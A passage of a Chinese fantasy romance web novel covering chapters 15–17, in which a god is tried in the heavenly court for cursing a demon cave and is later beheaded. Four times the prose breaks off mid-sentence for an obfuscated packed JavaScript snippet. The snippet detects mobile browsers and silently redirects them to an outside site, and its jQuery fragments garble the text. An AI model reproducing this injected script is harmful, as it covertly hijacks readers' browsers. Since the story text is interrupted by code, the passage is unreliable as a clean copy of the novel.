月华道:“倘或邬公子不想让我来,我不来就是,为何要把我困在这里?” 鹉老十摊摊手,道:“我是真的不知道。” 他是真的不知道,邬公子只飞书来说要布迷雾阵,为了防止泄密,邬辞砚没有告诉任何人迷雾阵的破解之法,至于为什么要把月华困在这里,没人告诉他啊。 月华握拳,提剑,“杀了你,看出不出得去。” 鹉老十立刻变成鹦鹉飞到树上,怪声怪气地道:“月华上神,我好好跟你说,我们家公子在我们身上下了咒,我们死了以后,他立刻就能知道,倘若我真的死在这里,他就更没必要解开阵法了,你就真一辈子出不去啦!” “哈哈哈哈哈——”鹉老十突然笑起来,“其实用我一条命把你拖死也挺值的,我们家公子肯定讨厌你。来吧,来刺我吧,傻神仙,来啊,来刺我。” 月华青筋凸起,真恨不得一剑刺死他。偏偏这阵内束手束脚,飞也飞不起来,只有鹦鹉畅通无阻,而且只有邬家的鹦鹉畅通无阻,月华之前变化成鹦鹉想飞出去,也是徒劳。 月华喊道:“有本事!你就下来!” 鹉老十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083650|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得更大声了,“哈哈哈哈,那你有本事,你上来呗!哎呦呦,不会上不来吧,蠢神仙,蠢神仙。” 月华收起剑,不跟他一般见识,没想到这鹦鹉反而起劲,喊得更大声了。 诶?等一下! 鹉老十突然想到什么,振翅飞起来。 再飞——再飞——哦——天呐—— 原来他可以飞出去啊!他之前一直不知道! 飞高了,发现那个阵只是一个半圆的小球,他们之前就是在那个充满雾气的球型屏障里转来转去,四处碰壁。 他回去要把这个秘诀告诉其他鹦鹉!他停在离那个阵法不远的树上,一眨眼,诶?阵法不见了! 月华看到鹉老十出去了,站在原地抬头看了好久,他还盼着鹉老十出去以后会想办法来搭救他。 显然是他想多了。 不远处,出现了一道耀眼的白光。 月华犹豫片刻,自言自语道:“走吧,反正也不会比现在更坏了。” 他顺着这条路往前走,路上的迷雾越来越少,最后,总算是看清了路,从这里走出去,就是山顶了。 他快步踏出去,不等眼睛适应外面的明亮,胸口就挨了一脚,眼前,是瞋目切齿的时居。 他拍了拍时居的腿,“是我,你干什么?” 时居又是一脚,将他往远踹,“打的就是你!” 他猝不及防,被踢得头晕目眩,再睁开眼,看到了站在眼前的邬辞砚。 他立时起身,抽出剑,但没有指向邬辞砚,而是指向还要向这边来的时居,“泼妇,发什么疯!怎敢在邬公子面前放肆!” “我不介意。”邬辞砚道,“月华,你的好日子到头了。” 月华一怔,随后淡然一笑:“邬公子在说什么,无论是从前,还是现在,我应当没有得罪过邬公子吧。” “我呸!”时居大喊道,“你做的那些龌龊事,你以为邬公子不知道?你放心,我就算是下地狱,也绝不会让你好过!” 月华怒目圆睁,指着她,气愤道:“时居!你休要出口猖狂!往日里,你欺压百姓,残害无辜,我都睁一只眼闭一只眼,为了你,不惜揽下包庇之责!如今,你竟然出口诬陷!你且说来,我有什么龌龊事!” 时居正要说话,又被月华打断,他道:“既然你如此说,我也不想白担了这个污名,你敢不敢,同我去天上说!” “去就去!”时居道。 四人商量着就要去天庭,却被匆匆赶来的慕蓉打断。 慕蓉叫住邬辞砚,急道:“那文书上写的义子不是时居,是时宜!” 时居怔住,不可置信地转过头来,“时宜?” “是!”月华作揖,理直气壮地道,“我月华认的义子从来都是时居之子,时宜!这些年,我再没跟紫铜洞有瓜葛,也是因为义子已死,我也实在是瞧不上时居的做派,不告发你,是看时宜的面子!你却、你却蒙蔽邬公子,想要我身败名裂,既然如此,我也没什么好怕的!” 慕蓉道:“可我听其他神仙说,是紫铜洞洞主啊。” 月华道:“想来是神仙们记错了,是紫铜洞少洞主。” 月华拿出一张飞书,“我这就通传天庭,我们去天上辩!” 邬辞砚闪身去夺,那飞书已经燃起蓝烟,化为水汽。 此刻,怕是已经到了天庭。 15. 15 慕蓉的意思是,这么多年,天庭的人都知道是紫铜洞洞主,月华也默认,如今突然改口,说是少洞主,哪怕有文书,也不会让他这么轻易圆过去的。 先去天庭辩吧,看能辩出个什么结果,不行了再让邬辞砚去天上闹。 邬辞砚道:“正好,你先跟着回去吧,我有别的事。” 慕蓉问道:“什么?” 邬辞砚道:“我得回紫铜洞一趟,留着那个邪咒在那里害人,剩下的妖怪只会自相残杀,要让他们知道,这么多年,是谁在害他们,不能让时居死了都背负骂名。而且,说月华下恶咒,也需要证据,我去搬一个石门再上天庭。” 慕蓉沉吟片刻,道:“你要知道,无论查下来结果如何,时居都保不下这条性命了。” 邬辞砚道:“我知道。” 慕蓉看了一眼坐在时居旁边的温兰枝,道:“那温兰枝呢?” 邬辞砚停顿片刻,道:“我带着吧,跟你去天上,我不放心。” “对了。”邬辞砚叫住她,把时居孩子的事情告知了。 都这个时候了,也不是想泄露什么隐私,而是不希望孩子的死背负在母亲一个人身上。从未出现过的父亲,看上去好像什么事情也没做,什么错也没有,即便是定罪,也和他八竿子打不着关系。而母亲,定然会因为十足的愧疚,把责任全部揽到自己身上。 让她背着害死亲生孩子的罪名被处死,实在是残忍。 慕蓉听完,拍了两下他的肩膀,叹了口气,“所以孩子啊,还是别轻易生。你想着生下来能自己抚养,撇清关系,实际上,孩子爹早算计着呢,不是你想撇清就能撇清的。等生下来了,就是一条性命,塞不回去了,清算的时候,还得带上这条命。孩子可怜,母亲也可怜呐——” 她走了,这片空地上只剩下了邬辞砚和温兰枝。 温兰枝刚才一直注意着他,注意到他情绪不大对,起身,问道:“时居是不是会死?” 邬辞砚沉重地点了下头。 过了一会儿,邬辞砚开口,道:“你肩膀上的伤怎么样了?” 温兰枝没反应过来,愣了片刻,道:“嗯?棍子吗?还好,有点疼,不过我挨惯了。” 邬辞砚道:“我不会被伤的,下次别冲过来的。能伤我的东西,你也挡不住。” 温兰枝知道他误会了,道:“不是的,不是的,我根本没看到有人要打你。我听到外面有人喊杀时居,我就赶紧出来帮忙,在隔壁房间找到了一把剑,就拿过来了。我跑过来,前面那个老鼠还给我让路,我还没来得及说谢谢,他就打我了。” 邬辞砚道:“他可能以为你要杀他。” 他顿了顿,又问道:“你会剑术?” 温兰枝连连摇头。 邬辞砚问道:“那你拿着剑出来帮忙。” 温兰枝道:“她对我那么好,为她死了也好。” 邬辞砚心头一震,道:“你记得你之前说过什么吗?” 温兰枝歪头,问道:“什么?” 邬辞砚道:“我会永远记住你,你也一定要记住我。要记着有个人,永远都希望你过得好。” 他看温兰枝像个木头桩子一样待在那里,也知道自己这话说得太亲密了,轻咳两声,缓和了一下语气,道:“走吧,我们要去紫铜洞,把那些妖怪送出沁安山。” 说完,他已经率先提步走了。 温兰枝反应过来,小跑跟上,“他们自己不会走吗?” 邬辞砚道:“有可能走,但也有可能,他们会推举出一个新的洞主,没过多久,就会悲剧重演。至少,先把那些石头门拆了。” 邬辞砚回去的时候,紫铜洞已经吵起来了,果然如他所料,在选举新的洞主上出了问题。 一窝子炸药在一起,能商量出什么正常的主意。 邬辞砚刚进来,原本争吵不休的紫铜洞就安静下来了。 他牵着温兰枝的手一路走,躲在人群中的老鼠精看到他们朝着这边来了,吓得慌不择路,以为是来复仇的。 邬辞砚站在圈子中间,用法术在洞穴上画了一个月华咒,“这个是月华咒,这个洞里,任何和他不一样的咒术,都是恶咒,让人神志不清,心神受损,时间长了,有可能会因为过于痛苦而寻死。我明天会找人把洞弄塌,顺便把你们带走。” 妖怪们左右议论起来,但并无动作。 邬辞砚道:“明日清晨,炸洞的人就会来,不想出去的,就死这儿吧。”言罢,他走进去,卸下一个石门,又走出来,温兰枝要上来帮忙,被他用眼神赶到一边了。 走到门口,他又道:“对了,我在沁安山周围布下了结界,你们暂时出不去,明天早上会有人来带你们走,别着急。” “去哪里?”一个妖怪壮着胆子喊道,声音里发虚。 邬辞砚道:“去改头换面,重新做妖。你们现在这样出去,和妖怪社会脱节,也没有谋生的本事,怕是会四处闹事。你们只有两个选择,要么留在山里等死,要么明天早上跟着我的人走。如果明天中午之前还不赶到这里来会和,那就永远出不去了。” 躁动的妖群此刻安静得连吞吐口水的声音都能听见。 此刻,两个人的步伐就像是震天响的鼓声,吸引着所有人的注意。 温兰枝看着地面,“哎呦!”她突然陷进去了。 邬辞砚退后两步,温兰枝扶着他的胳膊起来。 温兰枝抬头,这才发现两个人已经到了天上的云层里。 不远处,是金碧辉煌的宫殿,宫殿的柱子有点飘了,左边的屋檐不太完整。不过大体还是可以的。 两个人进去的时候,时居和月华正辩到关键处。 就是那个文书到底作不作数,月华一直坚持说是个误会,自己觉得没什么,也就没出来澄清,没想到酿成大祸,试问,时居一个女子如何能收作义子? 而时居则是将当年的事情讲了个清楚明白,苦于没有证据。她提出洞中的妖怪可以作为证人,被审判的神官驳回,她洞里的妖怪都是她的手下,证明做不得数。 当时认义子的时候并没有举办什么仪式,义子本人也没出现,此刻是怎么也说不明白的。 邬辞砚扫视一圈,慕蓉不在。 一封正在传阅的卷轴递到温兰枝手上。 巴拉巴拉巴拉说了一大堆,温兰枝没看懂,但有一句看懂了:紫铜洞少洞主时宜,今朝收作月华上神义子。 她左顾右盼片刻,端起了神台上的蜡烛,点燃卷轴的一角,火势蔓延起来,将卷轴的一大半吞噬干净。 邬辞砚道:“快扔了,烫。” 温兰枝一着急,蜡烛和卷轴一起扔了,卷轴顷刻灰飞烟灭,蜡烛则是滚到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083651|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个神官脚下,连着神官的衣袍一起烧了,那神官喊了好几声“水”,雨才落下将火浇灭,但也将那个神官淋成了落汤鸡。 两个人的争吵被打断了,所有人都朝着这边看过来。 很默契,没有一个人对这出闹剧做出点评,只有时居小声说了句“谢谢”。 月华闻言,不屑道:“幼稚。” 温兰枝也知道烧了卷轴不能毁灭证据,但能出口气。 那个湿哒哒的神官站出来,拱手道:“判官大人,事情已经明了了,时居指控月华上神下恶咒、篡改文书、蒙蔽众人一事并无证据,至于月华上神和时居的私情……这是家事,难以决断。但时居残杀无辜,逼死亲子之事已是证据确凿,辩无可辩。依我看,不如先处决了时居,月华上神之事容后再辩。” 判官没有说话,那个神仙又道:“像时居这样的毒妇,杀之已不能平民愤。更何况她还有不死之身,在下认为,不如关进锁妖塔,锁妖塔如今已无封印的妖怪,此毒妇,正好去做第一守塔大妖,她当得起。” 此话一出,众人都暗戳戳地看向邬辞砚。 这位神官,你是真敢说啊。 时居看着那位说话的神官,道:“我见过你,你来紫铜洞送过东西。” 她的目光在月华和那位神官之间来回徘徊,她揪住月华的袖子,“你认识他?” 月华离她远了些,故意做出一副惊恐的模样,仿佛怕她随时会发疯,“同在天庭做官,自然认得。” 时居发怔片刻,突然发出一阵极其扭曲、刺耳的笑声,她捂着脸,笑了好久。 她是慕蓉带上来的,故而都知道她是邬辞砚的人,此刻,邬辞砚站在后面,没人敢对这个“疯妇”问候一句。 泪水从指缝流出,她笑累了,满面通红地倒在地上,“不死之身,你给我不死之身,不是什么为了时时刻刻见到我,是因为恨我,恨我毁了你的名誉,害你被神官耻笑,恨我不能活吞了这个孩子,不给你添麻烦。你恨我恨到骨子里,不想我就这么轻易地死去!你要揪着我的命,让我生生世世在地狱受折磨!不得转生轮回!” 月华平静地扫了她一眼,“你疯了,莫要胡说。当年给你不死之身,是情深义重。若非情深义重,我也不会给你画下月华咒,可你却自己篡改咒术,污蔑我。” “情深义重?”她扶着温兰枝的手,三番四次地想要站起来,终于在第五次成功了,她步步紧逼,“我们当年说好,只是露水情缘,从未拜过天地,也未曾立下过什么山盟海誓,我不会出去说,损害你的名节,你也无需给我什么好处。可你知道我有了孩子以后,还是要把我赶尽杀绝!后来我们断了联系,你又突然回来,给了我月华咒,又给了我不死之身,还给了我收作义子的文书,说要给我一段仙缘。我以为,你是悔过,谁想,你竟是复仇!” 月华面上并无波澜,道:“证据?” “我找到了!”慕蓉的声音从远处传来,“判官且慢!我找到了最初版的文书,上面写的确是将沁安山紫铜洞洞主收为义子!” 一声巨响,众神回头,是邬辞砚推倒了手里的石门,他道:“这是月华亲笔画下的恶咒,神仙的专属符咒要想改成反咒不难,但要想改成恶咒,必须神官本人画下或施法应允才行。至于这个恶咒到底是月华画的,还是时居改的,看一下上面的法术就知道了。” 16. 16 神仙咒改为恶咒,要么亲手画成,要么施法应允,否则咒术不成,如此也是为了保护神仙的名誉。 时居终日待在紫铜洞,并不知道这个规定。 如今最初的卷轴找到了,石门上的法术也验过了,皆可证明时居说的是实情。 慕蓉道:“神仙下凡作乱,理当削去仙身,堕入轮回。” 落汤鸡道:“不过是和一个九尾狐有点私事罢了,如何谈得上下凡作乱。” 慕蓉瞪着他,道:“用恶咒间接伤害了上千条无辜性命,这也是私事?” 落汤鸡道:“恶咒不过是让人心神不稳,如何害人性命?杀害无辜百姓,逼死幼子,不都是时居自己的主观意志吗?没有任何人强迫她!” 慕蓉道:“人之智思,因神以发。智短思敝,神不会也。神志是人能理智思考的根本,任何生灵要修炼成人,都要修成神志。他坏人根本,乱人修为,让紫铜洞千百名无辜妖怪,遭受两百年的精神折磨,这还不够恶毒吗?” “心平气和,而有强毅不可夺之力。倘若她坚守意念,又怎么会动手杀人。慕蓉上神是在给这只妖怪找借口吗?这些妖怪们向来作恶多端,千刀万剐也不为过。据我所知,时居一直盘踞沁安山,过路人都要留下钱财,这和强盗有什么分别?月华上神不过是斩妖邪,除奸佞,即便方法不对,但做的事情是对的。”他越说越坚定,连自己都已经相信了这一套理论。 他转过身,义愤填膺地对判官说道:“上神,月华上神为了黎明百姓,忍辱负重,如果还要将他重罚的话,以后还有谁会冲锋陷阵呢?还望上神好好思量。” 慕蓉也转过头来,对判官道:“上神,我不同意这样的说法,时居做了再多的错事也应该交由天庭决断,月华贪图美色,欺瞒天庭,抛妻弃子,为了名声,不惜伤害千百条性命,这样的人,竟也可以说是为了黎明百姓?时居当斩,像月华上神这样阳奉阴违、狼心狗肺的东西,更是不能留!” 双方各执一词,争闹不休。 两位当事人根本插不进话。 审判的神官看了一眼月华,又看了一眼站在不远处的邬辞砚,清了清嗓,打断争执的二人,道:“此事还需考量,负责抄录的神官因抄录有误,着降一级,去南边的土地祠当差,时居残害无辜,罪不可赦,明日刮去不死之身,施以雷刑,魂飞魄散。月华关押在月华殿,三日后再作审判。” 时居垂下眼眸,无言以对。 “三日后会怎么审判呢?”温兰枝立即问道。 判官愣了片刻,道:“还需商议。” 温兰枝问道:“还有什么需要商议的?” 判官道:“月华上神功德无量,偶尔糊涂一次,具体要……” 温兰枝不理解,追问道:“从前功德无量的时候,难道没有奖赏过吗?既然奖赏过了,那就过去了啊,为什么要用别人的命偿还他的糊涂呢?” 判官道:“神仙行好事,哪来的什么奖赏,难道……” 温兰枝喊道:“他每天有漂亮的宫殿住,有好吃的果子吃,还有好看的衣服穿。这就是奖赏啊!否则天庭为什么是他住着而不是别人住着呢?” 判官被三番四次地打断,面上颇为不满,道:“能上天庭,是他潜心修炼的结果!和其余人并无关系。而且……” 温兰枝再次打断他,道:“如果和凡人没有关系的话,为什么又要给神仙修建神庙,既然没有关系,凡人为什么要上供,为什么凡间有那么多祭拜规矩,动不动就犯了忌讳?难道是因为他们吃饱了撑得吗?既然没有关系,那你们应该尽快托梦,告诉凡人不要再供奉你们了,否则你们白白受他们的供奉,却不管他们,不会觉得愧疚吗?” “是啊上神。”邬辞砚接话道,“不会觉得很愧疚吗?” 温兰枝又把问题绕回来了,道:“我想知道三天后到底应该怎么决断呢?月华会死吗?” 邬辞砚应和道:“是啊是啊,快跟我们说说,月华会死吗?” 判官道:“根据月华上神往日的功德来看,大概是不会的。” 温兰枝生气了,道:“所以你还是觉得,月华往日做的好事没有得到奖赏吗?觉得他获得的一切,都是因为好好修炼,而不是因为凡人喜欢他吗?那什么时候托梦告诉百姓呢?那些神庙还挺费钱的,我每次去,都要找我要好多钱呢。” 温兰枝不会引经据典,也不懂天上的律法,但她知道,怎么样是对的,怎么样是错的,如果天庭的律法连最基本的准则都没有遵守的话,她支持慕蓉姐姐当天帝,重新修改律法。 判官沉默了。 慕蓉道:“上神,此事理应就事论事,照看百姓是神仙的职责所在,不能因为尽到了职责,就免去惩罚。” 判官看向月华,月华平和地站在原地,闭目养神,仿佛一切于他如浮云。 判官又看向温兰枝,道:“那就依照温姑娘的意思,三日后削去仙身,堕入轮回。” “为什么是我的意思?”温兰枝不依不饶,“你们天庭没有法律吗?你们天庭的法律应该怎么判?” 判官停顿片刻,道:“依照天庭律法,三日后削去仙身,堕入轮回。” 邬辞砚道:“削去谁的仙身?谁堕入轮回?” 判官有些不耐烦,道:“削去月华的仙身,堕入轮回。” 邬辞砚又问道:“当真吗?” 判官道:“当真。” 邬辞砚道:“好。” 月华依旧不为所动,时居则如释重负地吐了口气。 两个犯人被押下去,众人散了。 慕蓉道:“事情告一段落,有你的威压在,想来不会再有人捣鬼。你们要回妖界皇城吗?” 邬辞砚道:“先不回,我还有事。” 邬辞砚拉着温兰枝,往前走,一刻钟后,两人翻进了一个宫殿,里面的水池泛着热气,深色的池水泛着轻微的红色,旁边还有个放倒的青色瓶子,倾倒出源源不断的水流。 温兰枝伸手探了探,欢喜道:“哇噻!是温泉。” “嗯。”邬辞砚已经开始脱衣服了,“你受伤了,跟着走了一趟,也受累了,泡个温泉,好好睡一觉吧。” 她确实很累,累得浑身酸疼,脚底板更是疼得站都站不住,听到可以休息,她撑着最后一点毅力脱了衣裳,双腿伸入温泉,接着整个身体滑进去,发出一声满足的喟叹。 邬辞砚道:“今天谢谢你,你想要什么谢礼?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083652|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯……”温兰枝认真思索起来,“我想要再跟着你一个月。” 邬辞砚干脆道:“好。” 他掏出白色的瓶子,冲温兰枝招了招手。 温兰枝逆着水流走过去,撩开最后一层遮拦,将白皙光滑的肩膀漏给他,上面鲜红的血痕,像是洁白的布匹被剪刀划开一样,惊心骇目。 邬辞砚毫不避讳地靠近她,给她擦药,两个人的头几乎紧贴在一起。 温兰枝道:“我可以再要一个东西吗?” 邬辞砚随口问道:“什么?” 温兰枝轻轻地、缓缓地,靠过去,绵软的脸颊贴着邬辞砚的鬓发,她往下滑,靠在他的肩膀上,看他没有抗拒,就把整个身体的重量压下去。 她道:“让我靠一下。” 邬辞砚侧过脸,嘴唇划过温兰枝的耳尖,他又立刻正过脑袋来,心中默念好几声“我要当君子”。 过了一会儿,他又小声呸了一口气,当了这么多年妖怪了,突然要当什么君子呢。 不过他还是没有把头转过去。 他的目光落在温兰枝的肩膀上,看着那个红色的血痂,轻轻碰一下,肌肤就会颤抖一下。 他什么念头都消了,静静站在那里,温暖流动的泉水从两人身体间的缝隙穿过,没有一个人想要再上前一步,堵住泉水的去处。 过了一会儿,温兰枝道:“今天宣布判决的时候,月华上神一点害怕悲伤都没有,他是不是不觉得自己会死啊?” 邬辞砚道:“应该是吧。” 温兰枝道:“你说天庭会放过他吗?” 邬辞砚道:“不知道,不过他一定会死的。” “为什么?” 温兰枝这话刚问出口,突然听到一阵整齐划一的步伐声,接着,听到了开大门的声音。 她从温泉里出来,扒着窗户往出看,险些惊呼出声,外面的人,竟然是月华! 她慌乱地又爬回来,差点磕着膝盖。 “啧。”邬辞砚扶了她一下。 温兰枝道:“他怎么在这里?” 邬辞砚道:“他在这里很正常吧,这里可是月华宫。” “啊?”温兰枝说完,双手捂住嘴,“你施隐身咒了吗?” 邬辞砚诚实地摇头。 温兰枝道:“那要是他发现我们怎么办?” 邬辞砚往后一靠,大咧咧道:“他本来就是要死的,发现了,就提前送他上路咯。” 温兰枝扒着他的胳膊,小声道:“我泡好了,我们回去吧。” 邬辞砚揽住她的肩头,坏笑道:“不好意思啦小兔子,我们可能要在这里多住几天。” 温兰枝道:“为什么?” 邬辞砚道:“盯着他咯,万一他逃跑了,我们可上哪里去找他。你要是困了呢,我们就去偏殿睡觉,你要是还想再泡一会儿呢,我们就再待一会儿,反正他现在也没心情来泡温泉,肯定发现不了我们。” 他看着温兰枝惊慌失措的样子,揉了一下她的脑袋,笑道:“怕什么?有我呢!他要是敢揪你的兔子毛,我就把他的头发全薅光。” 他一边说着,一边薅了一把兔子尾巴。 然后被兔子不轻不重地蹬了一脚。 17. 17 两个人泡完温泉,跑到偏殿去,准备就寝。 温兰枝看到邬辞砚坐在旁边,拿着一张金色的纸,坐起来,爬过去,躺在他腿上。 邬辞砚写好后,两个指头一捏,金色的纸张燃起蓝色的火焰,顷刻化为灰烬,说来奇怪,温兰枝就躺在下面,一抬头就能碰到的位置,竟然半点热气也感受不到。 邬辞砚道:“好了,睡觉吧。” 温兰枝问道:“那个是什么?” “你不知道?”邬辞砚明显惊讶了一下。 飞书不止是神仙在用的,妖魔鬼怪,还有一些会仙法的凡人,都在用,是最基本的法术。 邬辞砚又找出一张金色的纸张,递到温兰枝手里,道:“坐起来。” 温兰枝起来,手里捏着纸张。 邬辞砚道:“你可以在上面写字,也可以掐诀、说话。” 他掰着温兰枝的手指,帮她摆好手势,道:“念我的名字,然后说你想说的话。记得要催动身体里的妖力。” 温兰枝似懂非懂地点了下头,“邬辞砚,我喜欢你!” 被告白的男人怔了一下,然后假装没听见一样,道:“放手。” 温兰枝松开手,那张金色的纸燃起蓝焰,一点都不烫,还有点冰。接着,邬辞砚头顶突然出现了一张金纸,飘飘然落下,邬辞砚接过,那张纸在他耳畔大声地道了句:“邬辞砚,我喜欢你!” 邬辞砚给了她一个卷筒,道:“这一卷有二十二张飞书,妖界到处都有卖的,用完了再买。如果你下次跟我传书,不想被别人听见,你就写字,念我的名字,在心里也行,催动妖力,松手,就可以发出去了。” 温兰枝接过,她拿着看了看,欢喜地塞在荷包里。 她转过头,看到邬辞砚愣住了,疑惑地歪头,问道:“你怎么了?” 手指触碰的一瞬间,邬辞砚脑海里闪过许多画面,也是温兰枝,有时候穿着光彩照人的华服,有时候穿着粗布麻衣,每一个温兰枝,都朝他俯身,接过他手里的东西,就像他们此刻正在做的一样。 邬辞砚晃晃头,想起身喝杯水。 刚站起来,发现走不动,他的衣裳被温兰枝压在了腿下。 温兰枝往旁边挪了挪,邬辞砚抽出自己的衣服,钱袋子掉在地上,锦玉滚出来。 邬辞砚俯身捡起,拿在手里,看了好久,又看了一眼温兰枝。 什么都没有了。 怎么时灵时不灵的。 邬辞砚道:“兰兰,把你手上的东西给我。” 温兰枝把飞书递给他。 他没有去拿飞书,而是直接握住了她的手腕,加大身体接触。 还是什么都没有。 他叹了口气,去喝水了。 温兰枝疑惑道:“怎么了?” 邬辞砚道:“我们之前好像认识。” 温兰枝道:“认识的呀,你救过我,你记得吗?” 邬辞砚道:“有点印象,记不清了,太久远了。” 温兰枝背过身去,不想和他说话。 突然,听到了大门打开的声音。 温兰枝屏息凝神,轻手轻脚地坐起来,走到窗边,和邬辞砚站在一起。 两个人没有开窗,只是听着。 像是有人从门口走到了正殿,应该不是月华,两个人在偏殿待了一天了,没见月华出来过。 温兰枝小声道:“你要不要施个隐身咒去看看?” 邬辞砚摇头,揪着她的后衣领,把她往床上带,“用不着,八成是商量着找机会逃跑的事,他们原本想着,等我回妖界以后,悄咪咪溜走,等消息传到我那里,早就人去楼空,都不知道上哪找去。但既然我在天上,那就没事,让他先跑一个时辰,他也翻不出我的手掌心。” 温兰枝趴着,扒着床沿,问道:“如果有一天我逃跑了,你会来找我吗?” 邬辞砚停顿片刻,道:“不会,既然你选择离开了,我当然不会拦着你。” 温兰枝的嘴角调转了一个弧度,冷哼一声,拉上被子,转过身去,不再言语。 偏殿的床比较挤,两个人都侧着身,也背贴着背。 邬辞砚看她一个人卷走了所有的被子,知道她怕热又怕冷,懒得跟她计较。 旁边的兔子一直在动弹,似乎是嫌位置不够大,邬辞砚让了三次,第四次,无奈开口:“别挤了,我都快躺到床沿上了。” 温兰枝直接一个翻身,用肩膀把他推了下去。 邬辞砚摔在两个人的鞋子上,察觉到这个家伙是故意的,站起来盯着她看了一会儿,突然,把她连着被子都抱了起来。他听到温兰枝懵懵地发了个疑惑的“嗯”,没搭理,轻手轻脚地把她放在地上,被子一抽,只听“哎呦”一声,温兰枝在地上打了两个滚儿。 等她在黑暗中终于站起身了,邬辞砚已经卷着被子去床上了。 温兰枝气得要去拽褥子,结果第一脚踩到了自己的鞋子,第二脚踩到了邬辞砚的鞋子,下巴磕在床沿,摔下去了。 邬辞砚还没来得及转过头,就听到一阵呜呜咽咽的哭声。 他掀开被子,探出头来,对着温兰枝伸出手,“没事吧?快上来。” 温兰枝一气之下,搂住他的脖子,狠狠往下一拉,两个人一起摔在地上。 邬辞砚磕到了头,他没顾上,捏了下温兰枝的下巴,“受伤了没有?” 他挥手把灯点上,“来,张嘴,说‘啊——’。” 温兰枝:“啊——” 邬辞砚仔细看了一圈,“行,牙没少。” 他摸了一下温兰枝的门牙,被温兰枝逮住机会,一口咬住。 他晃了晃,不敢用力,怕伤着她,用无名指按了一下温兰枝的下巴,温兰枝吃痛,放开了他。 这下真哭了。 邬辞砚后悔了,揉了揉她的脸,“哎呀你大半夜的不困吗?” 温兰枝眼泪流得更汹涌了,一抽一抽的。 邬辞砚起身要去给温兰枝拿药。 结果他发现起不来,衣服在温兰枝手里攥着,“干嘛?” 温兰枝哭嚷道:“你打完我就要跑……” 邬辞砚扯回自己的衣服,“谁打你了?我都没碰你好吗?” 他拿起自己的手指,道:“你看你看你看,这个牙印,是不是和你的牙一模一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092564|179471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温兰枝道:“是你先摸我牙的。” 邬辞砚道:“是你先把我弄下床的。” 温兰枝道:“那你也弄我了。” 邬辞砚道:“行,那扯平行不行?你放开我,我去给你拿药。” 温兰枝放开他了。 “嘘——”邬辞砚突然捂住温兰枝的嘴。 脚步声,从正殿那边过来了,很快,就差跑起来了。 温兰枝屏住呼吸,一步,两步,三步……停在门口了! 邬辞砚的斩神已经拿在手上,他将腰间的短刀扔给温兰枝,谨慎地挪着步子,将温兰枝死死地挡在身后。 砰! 门破开了,三条绳索像利剑一样打进来,被邬辞砚一刀斩断。他劈过去,刀锋划破月华的衣袖,险些剐蹭到身体。 他脚尖一点,腾云直上,邬辞砚紧随其后。 月华矗立云层之中,再不像白天那么淡定,“我不明白,邬公子为何步步紧逼。” 邬辞砚冷笑道:“到底是谁步步紧逼,谁睚眦必报?” 月华道:“那九尾狐和你有何干系!” 邬辞砚掷地有声,道:“她是我朋友!” 温兰枝从偏殿出来,两个人已经在云层上打起来了,天兵冲进来,看到了穿着寝衣的温兰枝,手里拿着的长枪一时不知指向何处。 邬辞砚余光扫过来,腾出一只手,打下一层金光,挡在天兵四周,将温兰枝和天兵用一墙隔开。 月华并不想和他打,只想找空子溜掉,各种飞刀暗器不断,奈何邬辞砚速度太快,没一个打中的,反而被步步紧逼,逼得从云层上掉下来。 月华目光一转,注意到了温兰枝,他飞身朝着温兰枝这边来。 温兰枝手里握着短刀,条件反射地挡了一下,“哦!”手腕儿被弹得生疼。 让她打肯定是打不过的,不过这一挡足够了,邬辞砚已经赶到,一刀劈断了月华的剑,揪着他的头发往后扯,再一刀,斩断了他的脖子。 他转身的时候挡住了温兰枝,没让她看到这血腥的一幕。 温兰枝也不爱看这些,转身回屋了。 邬辞砚把手擦干净就跟着进来了,他是倒着走进来的,正面太红了,不美观。 他脱掉衬衣,直接穿上外衣,转过头来,道:“好了,可以回去了。不过还有一件事。” “什么?”温兰枝不停地揉着手腕儿。 邬辞砚注意到,拉住她的手腕,转了一下,“这样疼不疼?” 温兰枝摇头。 